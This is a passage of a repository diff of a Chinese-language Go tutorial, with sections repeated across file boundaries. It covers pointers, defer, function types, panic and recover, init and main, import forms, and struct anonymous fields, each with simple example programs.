看到了吗?虽然我们调用了`add1`函数,并且在`add1`中执行`a = a+1`操作,但是上面例子中`x`变量的值没有发生变化
理由很简单:因为当我们调用`add1`的时候,`add1`接收的参数其实是`x`的copy而不是`x`本身。
那你也许会问了,如果真的需要传这个`x`本身,该怎么办呢?
这就牵扯到了所谓的指针。我们知道,变量在内存中是存放于一定地址上的,修改变量实际是修改变量地址处的内存。只有`add1`函数知道`x`变量所在的地址,才能修改`x`变量的值。所以我们需要将`x`所在地址`&x`传入函数,并将函数的参数的类型由`int`改为`*int`,即改为指针类型,才能在函数中修改`x`变量的值。此时参数仍然是按copy传递的只是copy的是一个指针。请看下面的例子
package main
import "fmt"
//简单的一个函数,实现了参数+1的操作
func add1(a *int) int { // 请注意,
*a = *a+1 // 修改了a的值
return *a // 返回新值
}
func main() {
x := 3
fmt.Println("x = ", x) // 应该输出 "x = 3"
x1 := add1(&x) // 调用 add1(&x) 传x的地址
fmt.Println("x+1 = ", x1) // 应该输出 "x+1 = 4"
fmt.Println("x = ", x) // 应该输出 "x = 4"
}
这样,我们就达到了修改`x`的目的。那么到底传指针有什么好处呢?
- 传指针使得多个函数能操作同一个对象。
- 传指针比较轻量级 (8bytes),只是传内存地址,我们可以用指针传递体积大的结构体。如果用参数值传递的话, 在每次copy上面就会花费相对较多的系统开销内存和时间。所以当你要传递大的结构体的时候用指针是一个明智的选择。
- Go语言中`channel``slice``map`这三种类型的实现机制类似指针,所以可以直接传递,而不用取地址后传递指针。(注:若函数需改变`slice`的长度,则仍需要取地址传递指针)
### defer
Go语言中有种不错的设计即延迟defer语句你可以在函数中添加多个defer语句。当函数执行到最后时这些defer语句会按照逆序执行最后该函数返回。特别是当你在进行一些打开资源的操作时遇到错误需要提前返回在返回前你需要关闭相应的资源不然很容易造成资源泄露等问题。如下代码所示我们一般写打开一个资源是这样操作的
func ReadWrite() bool {
file.Open("file")
// 做一些工作
if failureX {
file.Close()
return false
}
if failureY {
file.Close()
return false
}
file.Close()
return true
}
我们看到上面有很多重复的代码Go的`defer`有效解决了这个问题。使用它后,不但代码量减少了很多,而且程序变得更优雅。在`defer`后指定的函数会在函数退出前调用。
func ReadWrite() bool {
file.Open("file")
defer file.Close()
if failureX {
return false
}
if failureY {
return false
}
return true
}
如果有很多调用`defer`,那么`defer`是采用后进先出模式,所以如下代码会输出`4 3 2 1 0`
for i := 0; i < 5; i++ {
defer fmt.Printf("%d ", i)
}
### 函数作为值、类型
在Go中函数也是一种变量我们可以通过`type`来定义它,它的类型就是所有拥有相同的参数,相同的返回值的一种类型
type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...])
函数作为类型到底有什么好处呢?那就是可以把这个类型的函数当做值来传递,请看下面的例子
package main
import "fmt"
type testInt func(int) bool // 声明了一个函数类型
func isOdd(integer int) bool {
if integer%2 == 0 {
return false
}
return true
}
func isEven(integer int) bool {
if integer%2 == 0 {
return true
}
return false
}
// 声明的函数类型在这个地方当做了一个参数
func filter(slice []int, f testInt) []int {
var result []int
for _, value := range slice {
if f(value) {
result = append(result, value)
}
}
return result
}
func main(){
slice := []int {1, 2, 3, 4, 5, 7}
fmt.Println("slice = ", slice)
odd := filter(slice, isOdd) // 函数当做值来传递了
fmt.Println("Odd elements of slice are: ", odd)
even := filter(slice, isEven) // 函数当做值来传递了
fmt.Println("Even elements of slice are: ", even)
}
函数当做值和类型在我们写一些通用接口的时候非常有用,通过上面例子我们看到`testInt`这个类型是一个函数类型,然后两个`filter`函数的参数和返回值与`testInt`类型是一样的,但是我们可以实现很多种的逻辑,这样使得我们的程序变得非常的灵活。
### Panic和Recover
Go没有像Java那样的异常机制它不能抛出异常而是使用了`panic`和`recover`机制。一定要记住,你应当把它作为最后的手段来使用,也就是说,你的代码中应当没有,或者很少有`panic`的东西。这是个强大的工具,请明智地使用它。那么,我们应该如何使用它呢?
Panic
>是一个内建函数,可以中断原有的控制流程,进入一个令人恐慌的流程中。当函数`F`调用`panic`函数F的执行被中断但是`F`中的延迟函数会正常执行然后F返回到调用它的地方。在调用的地方`F`的行为就像调用了`panic`。这一过程继续向上,直到发生`panic`的`goroutine`中所有调用的函数返回,此时程序退出。恐慌可以直接调用`panic`产生。也可以由运行时错误产生,例如访问越界的数组。
Recover
>是一个内建的函数,可以让进入令人恐慌的流程中的`goroutine`恢复过来。`recover`仅在延迟函数中有效。在正常的执行过程中,调用`recover`会返回`nil`,并且没有其它任何效果。如果当前的`goroutine`陷入恐慌,调用`recover`可以捕获到`panic`的输入值,并且恢复正常的执行。
下面这个函数演示了如何在过程中使用`panic`
var user = os.Getenv("USER")
func init() {
if user == "" {
panic("no value for $USER")
}
}
下面这个函数检查作为其参数的函数在执行时是否会产生`panic`
func throwsPanic(f func()) (b bool) {
defer func() {
if x := recover(); x != nil {
b = true
}
}()
f() //执行函数f如果f中出现了panic那么就可以恢复回来
return
}
### `main`函数和`init`函数
Go里面有两个保留的函数`init`函数(能够应用于所有的`package`)和`main`函数(只能应用于`package main`)。这两个函数在定义时不能有任何的参数和返回值。虽然一个`package`里面可以写任意多个`init`函数,但这无论是对于可读性还是以后的可维护性来说,我们都强烈建议用户在一个`package`中每个文件只写一个`init`函数。
Go程序会自动调用`init()`和`main()`,所以你不需要在任何地方调用这两个函数。每个`package`中的`init`函数都是可选的,但`package main`就必须包含一个`main`函数。
程序的初始化和执行都起始于`main`包。如果`main`包还导入了其它的包,那么就会在编译时将它们依次导入。有时一个包会被多个包同时导入,那么它只会被导入一次(例如很多包可能都会用到`fmt`包,但它只会被导入一次,因为没有必要导入多次)。当一个包被导入时,如果该包还导入了其它的包,那么会先将其它包导入进来,然后再对这些包中的包级常量和变量进行初始化,接着执行`init`函数(如果有的话),依次类推。等所有被导入的包都加载完毕了,就会开始对`main`包中的包级常量和变量进行初始化,然后执行`main`包中的`init`函数(如果存在的话),最后执行`main`函数。下图详细地解释了整个执行过程:
![](images/2.3.init.png?raw=true)
图2.6 main函数引入包初始化流程图
### import
我们在写Go代码的时候经常用到import这个命令用来导入包文件而我们经常看到的方式参考如下
import(
"fmt"
)
然后我们代码里面可以通过如下的方式调用
fmt.Println("hello world")
上面这个fmt是Go语言的标准库其实是去`GOROOT`环境变量指定目录下去加载该模块当然Go的import还支持如下两种方式来加载自己写的模块
1. 相对路径
import “./model” //当前文件同一目录的model目录但是不建议这种方式来import
2. 绝对路径
import “shorturl/model” //加载gopath/src/shorturl/model模块
上面展示了一些import常用的几种方式但是还有一些特殊的import让很多新手很费解下面我们来一一讲解一下到底是怎么一回事
1. 点操作
我们有时候会看到如下的方式导入包
import(
. "fmt"
)
这个点操作的含义就是这个包导入之后在你调用这个包的函数时你可以省略前缀的包名也就是前面你调用的fmt.Println("hello world")可以省略的写成Println("hello world")
2. 别名操作
别名操作顾名思义我们可以把包命名成另一个我们用起来容易记忆的名字
import(
f "fmt"
)
别名操作的话调用包函数时前缀变成了我们的前缀即f.Println("hello world")
3. _操作
这个操作经常是让很多人费解的一个操作符请看下面这个import
import (
"database/sql"
_ "github.com/ziutek/mymysql/godrv"
)
_操作其实是引入该包而不直接使用包里面的函数而是调用了该包里面的init函数。
## links
* [目录](<preface.md>)
* 上一章: [Go基础](<02.2.md>)
* 下一节: [struct类型](<02.4.md>)

View File

@@ -1,520 +0,0 @@
# 2.3 流程和函数
这小节我们要介绍Go里面的流程控制以及函数操作。
## 流程控制
流程控制在编程语言中是最伟大的发明了因为有了它你可以通过很简单的流程描述来表达很复杂的逻辑。Go中流程控制分三大类条件判断循环控制和无条件跳转。
### if
`if`也许是各种编程语言中最常见的了,它的语法概括起来就是:如果满足条件就做某事,否则做另一件事。
Go里面`if`条件判断语句中不需要括号,如下代码所示
if x > 10 {
fmt.Println("x is greater than 10")
} else {
fmt.Println("x is less than 10")
}
Go的`if`还有一个强大的地方就是条件判断语句里面允许声明一个变量,这个变量的作用域只能在该条件逻辑块内,其他地方就不起作用了,如下所示
// 计算获取值x,然后根据x返回的大小判断是否大于10。
if x := computedValue(); x > 10 {
fmt.Println("x is greater than 10")
} else {
fmt.Println("x is less than 10")
}
//这个地方如果这样调用就编译出错了因为x是条件里面的变量
fmt.Println(x)
多个条件的时候如下所示:
if integer == 3 {
fmt.Println("The integer is equal to 3")
} else if integer < 3 {
fmt.Println("The integer is less than 3")
} else {
fmt.Println("The integer is greater than 3")
}
### goto
Go有`goto`语句——请明智地使用它。用`goto`跳转到必须在当前函数内定义的标签。例如假设这样一个循环:
func myFunc() {
i := 0
Here: //这行的第一个词,以冒号结束作为标签
println(i)
i++
goto Here //跳转到Here去
}
>标签名是大小写敏感的。
### for
Go里面最强大的一个控制逻辑就是`for`,它即可以用来循环读取数据,又可以当作`while`来控制逻辑,还能迭代操作。它的语法如下:
for expression1; expression2; expression3 {
//...
}
`expression1`、`expression2`和`expression3`都是表达式,其中`expression1`和`expression3`是变量声明或者函数调用返回值之类的,`expression2`是用来条件判断,`expression1`在循环开始之前调用,`expression3`在每轮循环结束之时调用。
一个例子比上面讲那么多更有用,那么我们看看下面的例子吧:
package main
import "fmt"
func main(){
sum := 0;
for index:=0; index < 10 ; index++ {
sum += index
}
fmt.Println("sum is equal to ", sum)
}
// 输出sum is equal to 45
有些时候需要进行多个赋值操作由于Go里面没有`,`操作符,那么可以使用平行赋值`i, j = i+1, j-1`
有些时候如果我们忽略`expression1`和`expression3`
sum := 1
for ; sum < 1000; {
sum += sum
}
其中`;`也可以省略,那么就变成如下的代码了,是不是似曾相识?对,这就是`while`的功能。
sum := 1
for sum < 1000 {
sum += sum
}
在循环里面有两个关键操作`break`和`continue` ,`break`操作是跳出当前循环,`continue`是跳过本次循环。当嵌套过深的时候,`break`可以配合标签使用,即跳转至标签所指定的位置,详细参考如下例子:
for index := 10; index>0; index-- {
if index == 5{
break // 或者continue
}
fmt.Println(index)
}
// break打印出来10、9、8、7、6
// continue打印出来10、9、8、7、6、4、3、2、1
`break`和`continue`还可以跟着标号,用来跳到多重循环中的外层循环
`for`配合`range`可以用于读取`slice`和`map`的数据:
for k,v:=range map {
fmt.Println("map's key:",k)
fmt.Println("map's val:",v)
}
由于 Go 支持 “多值返回”, 而对于“声明而未被调用”的变量, 编译器会报错, 在这种情况下, 可以使用`_`来丢弃不需要的返回值
例如
for _, v := range map{
fmt.Println("map's val:", v)
}
### switch
有些时候你需要写很多的`if-else`来实现一些逻辑处理,这个时候代码看上去就很丑很冗长,而且也不易于以后的维护,这个时候`switch`就能很好的解决这个问题。它的语法如下
switch sExpr {
case expr1:
some instructions
case expr2:
some other instructions
case expr3:
some other instructions
default:
other code
}
`sExpr`和`expr1`、`expr2`、`expr3`的类型必须一致。Go的`switch`非常灵活,表达式不必是常量或整数,执行的过程从上至下,直到找到匹配项;而如果`switch`没有表达式,它会匹配`true`。
i := 10
switch i {
case 1:
fmt.Println("i is equal to 1")
case 2, 3, 4:
fmt.Println("i is equal to 2, 3 or 4")
case 10:
fmt.Println("i is equal to 10")
default:
fmt.Println("All I know is that i is an integer")
}
在第5行中我们把很多值聚合在了一个`case`里面同时Go里面`switch`默认相当于每个`case`最后带有`break`匹配成功后不会自动向下执行其他case而是跳出整个`switch`, 但是可以使用`fallthrough`强制执行后面的case代码。
integer := 6
switch integer {
case 4:
fmt.Println("The integer was <= 4")
fallthrough
case 5:
fmt.Println("The integer was <= 5")
fallthrough
case 6:
fmt.Println("The integer was <= 6")
fallthrough
case 7:
fmt.Println("The integer was <= 7")
fallthrough
case 8:
fmt.Println("The integer was <= 8")
fallthrough
default:
fmt.Println("default case")
}
上面的程序将输出
The integer was <= 6
The integer was <= 7
The integer was <= 8
default case
## 函数
函数是Go里面的核心设计它通过关键字`func`来声明,它的格式如下:
func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) {
//这里是处理逻辑代码
//返回多个值
return value1, value2
}
上面的代码我们看出
- 关键字`func`用来声明一个函数`funcName`
- 函数可以有一个或者多个参数,每个参数后面带有类型,通过`,`分隔
- 函数可以返回多个值
- 上面返回值声明了两个变量`output1`和`output2`,如果你不想声明也可以,直接就两个类型
- 如果只有一个返回值且不声明返回值变量,那么你可以省略 包括返回值 的括号
- 如果没有返回值,那么就直接省略最后的返回信息
- 如果有返回值, 那么必须在函数的外层添加return语句
下面我们来看一个实际应用函数的例子用来计算Max值
package main
import "fmt"
// 返回a、b中最大值.
func max(a, b int) int {
if a > b {
return a
}
return b
}
func main() {
x := 3
y := 4
z := 5
max_xy := max(x, y) //调用函数max(x, y)
max_xz := max(x, z) //调用函数max(x, z)
fmt.Printf("max(%d, %d) = %d\n", x, y, max_xy)
fmt.Printf("max(%d, %d) = %d\n", x, z, max_xz)
fmt.Printf("max(%d, %d) = %d\n", y, z, max(y,z)) // 也可在这直接调用它
}
上面这个里面我们可以看到`max`函数有两个参数,它们的类型都是`int`,那么第一个变量的类型可以省略(即 a,b int,而非 a int, b int)默认为离它最近的类型同理多于2个同类型的变量或者返回值。同时我们注意到它的返回值就是一个类型这个就是省略写法。
### 多个返回值
Go语言比C更先进的特性其中一点就是函数能够返回多个值。
我们直接上代码看例子
package main
import "fmt"
//返回 A+B 和 A*B
func SumAndProduct(A, B int) (int, int) {
return A+B, A*B
}
func main() {
x := 3
y := 4
xPLUSy, xTIMESy := SumAndProduct(x, y)
fmt.Printf("%d + %d = %d\n", x, y, xPLUSy)
fmt.Printf("%d * %d = %d\n", x, y, xTIMESy)
}
上面的例子我们可以看到直接返回了两个参数,当然我们也可以命名返回参数的变量,这个例子里面只是用了两个类型,我们也可以改成如下这样的定义,然后返回的时候不用带上变量名,因为直接在函数里面初始化了。但如果你的函数是导出的(首字母大写),官方建议:最好命名返回值,因为不命名返回值,虽然使得代码更加简洁了,但是会造成生成的文档可读性差。
func SumAndProduct(A, B int) (add int, Multiplied int) {
add = A+B
Multiplied = A*B
return
}
### 变参
Go函数支持变参。接受变参的函数是有着不定数量的参数的。为了做到这点首先需要定义函数使其接受变参
func myfunc(arg ...int) {}
`arg ...int`告诉Go这个函数接受不定数量的参数。注意这些参数的类型全部是`int`。在函数体中,变量`arg`是一个`int`的`slice`
for _, n := range arg {
fmt.Printf("And the number is: %d\n", n)
}
### 传值与传指针
当我们传一个参数值到被调用函数里面时实际上是传了这个值的一份copy当在被调用函数中修改参数值的时候调用函数中相应实参不会发生任何变化因为数值变化只作用在copy上。
为了验证我们上面的说法,我们来看一个例子
package main
import "fmt"
//简单的一个函数,实现了参数+1的操作
func add1(a int) int {
a = a+1 // 我们改变了a的值
return a //返回一个新值
}
func main() {
x := 3
fmt.Println("x = ", x) // 应该输出 "x = 3"
x1 := add1(x) //调用add1(x)
fmt.Println("x+1 = ", x1) // 应该输出"x+1 = 4"
fmt.Println("x = ", x) // 应该输出"x = 3"
}
看到了吗?虽然我们调用了`add1`函数,并且在`add1`中执行`a = a+1`操作,但是上面例子中`x`变量的值没有发生变化
理由很简单:因为当我们调用`add1`的时候,`add1`接收的参数其实是`x`的copy而不是`x`本身。
那你也许会问了,如果真的需要传这个`x`本身,该怎么办呢?
这就牵扯到了所谓的指针。我们知道,变量在内存中是存放于一定地址上的,修改变量实际是修改变量地址处的内存。只有`add1`函数知道`x`变量所在的地址,才能修改`x`变量的值。所以我们需要将`x`所在地址`&x`传入函数,并将函数的参数的类型由`int`改为`*int`,即改为指针类型,才能在函数中修改`x`变量的值。此时参数仍然是按copy传递的只是copy的是一个指针。请看下面的例子
package main
import "fmt"
//简单的一个函数,实现了参数+1的操作
func add1(a *int) int { // 请注意,
*a = *a+1 // 修改了a的值
return *a // 返回新值
}
func main() {
x := 3
fmt.Println("x = ", x) // 应该输出 "x = 3"
x1 := add1(&x) // 调用 add1(&x) 传x的地址
fmt.Println("x+1 = ", x1) // 应该输出 "x+1 = 4"
fmt.Println("x = ", x) // 应该输出 "x = 4"
}
这样,我们就达到了修改`x`的目的。那么到底传指针有什么好处呢?
- 传指针使得多个函数能操作同一个对象。
- 传指针比较轻量级 (8bytes),只是传内存地址,我们可以用指针传递体积大的结构体。如果用参数值传递的话, 在每次copy上面就会花费相对较多的系统开销内存和时间。所以当你要传递大的结构体的时候用指针是一个明智的选择。
- Go语言中`channel``slice``map`这三种类型的实现机制类似指针,所以可以直接传递,而不用取地址后传递指针。(注:若函数需改变`slice`的长度,则仍需要取地址传递指针)
### defer
Go语言中有种不错的设计即延迟defer语句你可以在函数中添加多个defer语句。当函数执行到最后时这些defer语句会按照逆序执行最后该函数返回。特别是当你在进行一些打开资源的操作时遇到错误需要提前返回在返回前你需要关闭相应的资源不然很容易造成资源泄露等问题。如下代码所示我们一般写打开一个资源是这样操作的
func ReadWrite() bool {
file.Open("file")
// 做一些工作
if failureX {
file.Close()
return false
}
if failureY {
file.Close()
return false
}
file.Close()
return true
}
我们看到上面有很多重复的代码Go的`defer`有效解决了这个问题。使用它后,不但代码量减少了很多,而且程序变得更优雅。在`defer`后指定的函数会在函数退出前调用。
func ReadWrite() bool {
file.Open("file")
defer file.Close()
if failureX {
return false
}
if failureY {
return false
}
return true
}
如果有很多调用`defer`,那么`defer`是采用后进先出模式,所以如下代码会输出`4 3 2 1 0`
for i := 0; i < 5; i++ {
defer fmt.Printf("%d ", i)
}
### 函数作为值、类型
在Go中函数也是一种变量我们可以通过`type`来定义它,它的类型就是所有拥有相同的参数,相同的返回值的一种类型
type typeName func(input1 inputType1 , input2 inputType2 [, ...]) (result1 resultType1 [, ...])
函数作为类型到底有什么好处呢?那就是可以把这个类型的函数当做值来传递,请看下面的例子
package main
import "fmt"
type testInt func(int) bool // 声明了一个函数类型
func isOdd(integer int) bool {
if integer%2 == 0 {
return false
}
return true
}
func isEven(integer int) bool {
if integer%2 == 0 {
return true
}
return false
}
// 声明的函数类型在这个地方当做了一个参数
func filter(slice []int, f testInt) []int {
var result []int
for _, value := range slice {
if f(value) {
result = append(result, value)
}
}
return result
}
func main(){
slice := []int {1, 2, 3, 4, 5, 7}
fmt.Println("slice = ", slice)
odd := filter(slice, isOdd) // 函数当做值来传递了
fmt.Println("Odd elements of slice are: ", odd)
even := filter(slice, isEven) // 函数当做值来传递了
fmt.Println("Even elements of slice are: ", even)
}
函数当做值和类型在我们写一些通用接口的时候非常有用,通过上面例子我们看到`testInt`这个类型是一个函数类型,然后两个`filter`函数的参数和返回值与`testInt`类型是一样的,但是我们可以实现很多种的逻辑,这样使得我们的程序变得非常的灵活。
### Panic和Recover
Go没有像Java那样的异常机制它不能抛出异常而是使用了`panic`和`recover`机制。一定要记住,你应当把它作为最后的手段来使用,也就是说,你的代码中应当没有,或者很少有`panic`的东西。这是个强大的工具,请明智地使用它。那么,我们应该如何使用它呢?
Panic
>是一个内建函数,可以中断原有的控制流程,进入一个令人恐慌的流程中。当函数`F`调用`panic`函数F的执行被中断但是`F`中的延迟函数会正常执行然后F返回到调用它的地方。在调用的地方`F`的行为就像调用了`panic`。这一过程继续向上,直到发生`panic`的`goroutine`中所有调用的函数返回,此时程序退出。恐慌可以直接调用`panic`产生。也可以由运行时错误产生,例如访问越界的数组。
Recover
>是一个内建的函数,可以让进入令人恐慌的流程中的`goroutine`恢复过来。`recover`仅在延迟函数中有效。在正常的执行过程中,调用`recover`会返回`nil`,并且没有其它任何效果。如果当前的`goroutine`陷入恐慌,调用`recover`可以捕获到`panic`的输入值,并且恢复正常的执行。
下面这个函数演示了如何在过程中使用`panic`
var user = os.Getenv("USER")
func init() {
if user == "" {
panic("no value for $USER")
}
}
下面这个函数检查作为其参数的函数在执行时是否会产生`panic`
func throwsPanic(f func()) (b bool) {
defer func() {
if x := recover(); x != nil {
b = true
}
}()
f() //执行函数f如果f中出现了panic那么就可以恢复回来
return
}
### `main`函数和`init`函数
Go里面有两个保留的函数`init`函数(能够应用于所有的`package`)和`main`函数(只能应用于`package main`)。这两个函数在定义时不能有任何的参数和返回值。虽然一个`package`里面可以写任意多个`init`函数,但这无论是对于可读性还是以后的可维护性来说,我们都强烈建议用户在一个`package`中每个文件只写一个`init`函数。
Go程序会自动调用`init()`和`main()`,所以你不需要在任何地方调用这两个函数。每个`package`中的`init`函数都是可选的,但`package main`就必须包含一个`main`函数。
程序的初始化和执行都起始于`main`包。如果`main`包还导入了其它的包,那么就会在编译时将它们依次导入。有时一个包会被多个包同时导入,那么它只会被导入一次(例如很多包可能都会用到`fmt`包,但它只会被导入一次,因为没有必要导入多次)。当一个包被导入时,如果该包还导入了其它的包,那么会先将其它包导入进来,然后再对这些包中的包级常量和变量进行初始化,接着执行`init`函数(如果有的话),依次类推。等所有被导入的包都加载完毕了,就会开始对`main`包中的包级常量和变量进行初始化,然后执行`main`包中的`init`函数(如果存在的话),最后执行`main`函数。下图详细地解释了整个执行过程:
![](images/2.3.init.png?raw=true)
图2.6 main函数引入包初始化流程图
### import
我们在写Go代码的时候经常用到import这个命令用来导入包文件而我们经常看到的方式参考如下
import(
"fmt"
)
然后我们代码里面可以通过如下的方式调用
fmt.Println("hello world")
上面这个fmt是Go语言的标准库其实是去`GOROOT`环境变量指定目录下去加载该模块当然Go的import还支持如下两种方式来加载自己写的模块
1. 相对路径
import “./model” //当前文件同一目录的model目录但是不建议这种方式来import
2. 绝对路径
import “shorturl/model” //加载gopath/src/shorturl/model模块
上面展示了一些import常用的几种方式但是还有一些特殊的import让很多新手很费解下面我们来一一讲解一下到底是怎么一回事
1. 点操作
我们有时候会看到如下的方式导入包
import(
. "fmt"
)
这个点操作的含义就是这个包导入之后在你调用这个包的函数时你可以省略前缀的包名也就是前面你调用的fmt.Println("hello world")可以省略的写成Println("hello world")
2. 别名操作
别名操作顾名思义我们可以把包命名成另一个我们用起来容易记忆的名字
import(
f "fmt"
)
别名操作的话调用包函数时前缀变成了我们的前缀即f.Println("hello world")
3. _操作
这个操作经常是让很多人费解的一个操作符请看下面这个import
import (
"database/sql"
_ "github.com/ziutek/mymysql/godrv"
)
_操作其实是引入该包而不直接使用包里面的函数而是调用了该包里面的init函数。
## links
* [目录](<preface.md>)
* 上一章: [Go基础](<02.2.md>)
* 下一节: [struct类型](<02.4.md>)

View File

@@ -1,213 +0,0 @@
# 2.4 struct类型
## struct
Go语言中也和C或者其他语言一样我们可以声明新的类型作为其它类型的属性或字段的容器。例如我们可以创建一个自定义类型`person`代表一个人的实体。这个实体拥有属性:姓名和年龄。这样的类型我们称之`struct`。如下代码所示:
type person struct {
name string
age int
}
看到了吗声明一个struct如此简单上面的类型包含有两个字段
- 一个string类型的字段name用来保存用户名称这个属性
- 一个int类型的字段age,用来保存用户年龄这个属性
如何使用struct呢请看下面的代码
type person struct {
name string
age int
}
var P person // P现在就是person类型的变量了
P.name = "Astaxie" // 赋值"Astaxie"给P的name属性.
P.age = 25 // 赋值"25"给变量P的age属性
fmt.Printf("The person's name is %s", P.name) // 访问P的name属性.
除了上面这种P的声明使用之外还有另外几种声明使用方式
- 1.按照顺序提供初始化值
P := person{"Tom", 25}
- 2.通过`field:value`的方式初始化,这样可以任意顺序
P := person{age:24, name:"Tom"}
- 3.当然也可以通过`new`函数分配一个指针此处P的类型为*person
P := new(person)
下面我们看一个完整的使用struct的例子
package main
import "fmt"
// 声明一个新的类型
type person struct {
name string
age int
}
// 比较两个人的年龄,返回年龄大的那个人,并且返回年龄差
// struct也是传值的
func Older(p1, p2 person) (person, int) {
if p1.age>p2.age { // 比较p1和p2这两个人的年龄
return p1, p1.age-p2.age
}
return p2, p2.age-p1.age
}
func main() {
var tom person
// 赋值初始化
tom.name, tom.age = "Tom", 18
// 两个字段都写清楚的初始化
bob := person{age:25, name:"Bob"}
// 按照struct定义顺序初始化值
paul := person{"Paul", 43}
tb_Older, tb_diff := Older(tom, bob)
tp_Older, tp_diff := Older(tom, paul)
bp_Older, bp_diff := Older(bob, paul)
fmt.Printf("Of %s and %s, %s is older by %d years\n",
tom.name, bob.name, tb_Older.name, tb_diff)
fmt.Printf("Of %s and %s, %s is older by %d years\n",
tom.name, paul.name, tp_Older.name, tp_diff)
fmt.Printf("Of %s and %s, %s is older by %d years\n",
bob.name, paul.name, bp_Older.name, bp_diff)
}
### struct的匿名字段
我们上面介绍了如何定义一个struct定义的时候是字段名与其类型一一对应实际上Go支持只提供类型而不写字段名的方式也就是匿名字段也称为嵌入字段。
当匿名字段是一个struct的时候那么这个struct所拥有的全部字段都被隐式地引入了当前定义的这个struct。
让我们来看一个例子,让上面说的这些更具体化
package main
import "fmt"
type Human struct {
name string
age int
weight int
}
type Student struct {
Human // 匿名字段那么默认Student就包含了Human的所有字段
speciality string
}
func main() {
// 我们初始化一个学生
mark := Student{Human{"Mark", 25, 120}, "Computer Science"}
// 我们访问相应的字段
fmt.Println("His name is ", mark.name)
fmt.Println("His age is ", mark.age)
fmt.Println("His weight is ", mark.weight)
fmt.Println("His speciality is ", mark.speciality)
// 修改对应的备注信息
mark.speciality = "AI"
fmt.Println("Mark changed his speciality")
fmt.Println("His speciality is ", mark.speciality)
// 修改他的年龄信息
fmt.Println("Mark become old")
mark.age = 46
fmt.Println("His age is", mark.age)
// 修改他的体重信息
fmt.Println("Mark is not an athlet anymore")
mark.weight += 60
fmt.Println("His weight is", mark.weight)
}
图例如下:
![](images/2.4.student_struct.png?raw=true)
图2.7 struct组合Student组合了Human struct和string基本类型
我们看到Student访问属性age和name的时候就像访问自己所有用的字段一样匿名字段就是这样能够实现字段的继承。是不是很酷啊还有比这个更酷的呢那就是student还能访问Human这个字段作为字段名。请看下面的代码是不是更酷了。
mark.Human = Human{"Marcus", 55, 220}
mark.Human.age -= 1
通过匿名访问和修改字段相当的有用但是不仅仅是struct字段哦所有的内置类型和自定义类型都是可以作为匿名字段的。请看下面的例子
package main
import "fmt"
type Skills []string
type Human struct {
name string
age int
weight int
}
type Student struct {
Human // 匿名字段struct
Skills // 匿名字段自定义的类型string slice
int // 内置类型作为匿名字段
speciality string
}
func main() {
// 初始化学生Jane
jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"}
// 现在我们来访问相应的字段
fmt.Println("Her name is ", jane.name)
fmt.Println("Her age is ", jane.age)
fmt.Println("Her weight is ", jane.weight)
fmt.Println("Her speciality is ", jane.speciality)
// 我们来修改他的skill技能字段
jane.Skills = []string{"anatomy"}
fmt.Println("Her skills are ", jane.Skills)
fmt.Println("She acquired two new ones ")
jane.Skills = append(jane.Skills, "physics", "golang")
fmt.Println("Her skills now are ", jane.Skills)
// 修改匿名内置类型字段
jane.int = 3
fmt.Println("Her preferred number is", jane.int)
}
从上面例子我们看出来struct不仅仅能够将struct作为匿名字段、自定义类型、内置类型都可以作为匿名字段而且可以在相应的字段上面进行函数操作如例子中的append
这里有一个问题如果human里面有一个字段叫做phone而student也有一个字段叫做phone那么该怎么办呢
Go里面很简单的解决了这个问题最外层的优先访问也就是当你通过`student.phone`访问的时候是访问student里面的字段而不是human里面的字段。
这样就允许我们去重载通过匿名字段继承的一些字段,当然如果我们想访问重载后对应匿名类型里面的字段,可以通过匿名字段名来访问。请看下面的例子
package main
import "fmt"
type Human struct {
name string
age int
phone string // Human类型拥有的字段
}
type Employee struct {
Human // 匿名字段Human
speciality string
phone string // 雇员的phone字段
}
func main() {
Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"}
fmt.Println("Bob's work phone is:", Bob.phone)
// 如果我们要访问Human的phone字段
fmt.Println("Bob's personal phone is:", Bob.Human.phone)
}
## links
* [目录](<preface.md>)
* 上一章: [流程和函数](<02.3.md>)
* 下一节: [面向对象](<02.5.md>)

View File

@@ -1,213 +0,0 @@
# 2.4 struct类型
## struct
Go语言中也和C或者其他语言一样我们可以声明新的类型作为其它类型的属性或字段的容器。例如我们可以创建一个自定义类型`person`代表一个人的实体。这个实体拥有属性:姓名和年龄。这样的类型我们称之`struct`。如下代码所示:
type person struct {
name string
age int
}
看到了吗声明一个struct如此简单上面的类型包含有两个字段
- 一个string类型的字段name用来保存用户名称这个属性
- 一个int类型的字段age,用来保存用户年龄这个属性
如何使用struct呢请看下面的代码
type person struct {
name string
age int
}
var P person // P现在就是person类型的变量了
P.name = "Astaxie" // 赋值"Astaxie"给P的name属性.
P.age = 25 // 赋值"25"给变量P的age属性
fmt.Printf("The person's name is %s", P.name) // 访问P的name属性.
除了上面这种P的声明使用之外还有另外几种声明使用方式
- 1.按照顺序提供初始化值
P := person{"Tom", 25}
- 2.通过`field:value`的方式初始化,这样可以任意顺序
P := person{age:24, name:"Tom"}
- 3.当然也可以通过`new`函数分配一个指针此处P的类型为*person
P := new(person)
下面我们看一个完整的使用struct的例子
package main
import "fmt"
// 声明一个新的类型
type person struct {
name string
age int
}
// 比较两个人的年龄,返回年龄大的那个人,并且返回年龄差
// struct也是传值的
func Older(p1, p2 person) (person, int) {
if p1.age>p2.age { // 比较p1和p2这两个人的年龄
return p1, p1.age-p2.age
}
return p2, p2.age-p1.age
}
func main() {
var tom person
// 赋值初始化
tom.name, tom.age = "Tom", 18
// 两个字段都写清楚的初始化
bob := person{age:25, name:"Bob"}
// 按照struct定义顺序初始化值
paul := person{"Paul", 43}
tb_Older, tb_diff := Older(tom, bob)
tp_Older, tp_diff := Older(tom, paul)
bp_Older, bp_diff := Older(bob, paul)
fmt.Printf("Of %s and %s, %s is older by %d years\n",
tom.name, bob.name, tb_Older.name, tb_diff)
fmt.Printf("Of %s and %s, %s is older by %d years\n",
tom.name, paul.name, tp_Older.name, tp_diff)
fmt.Printf("Of %s and %s, %s is older by %d years\n",
bob.name, paul.name, bp_Older.name, bp_diff)
}
### struct的匿名字段
我们上面介绍了如何定义一个struct定义的时候是字段名与其类型一一对应实际上Go支持只提供类型而不写字段名的方式也就是匿名字段也称为嵌入字段。
当匿名字段是一个struct的时候那么这个struct所拥有的全部字段都被隐式地引入了当前定义的这个struct。
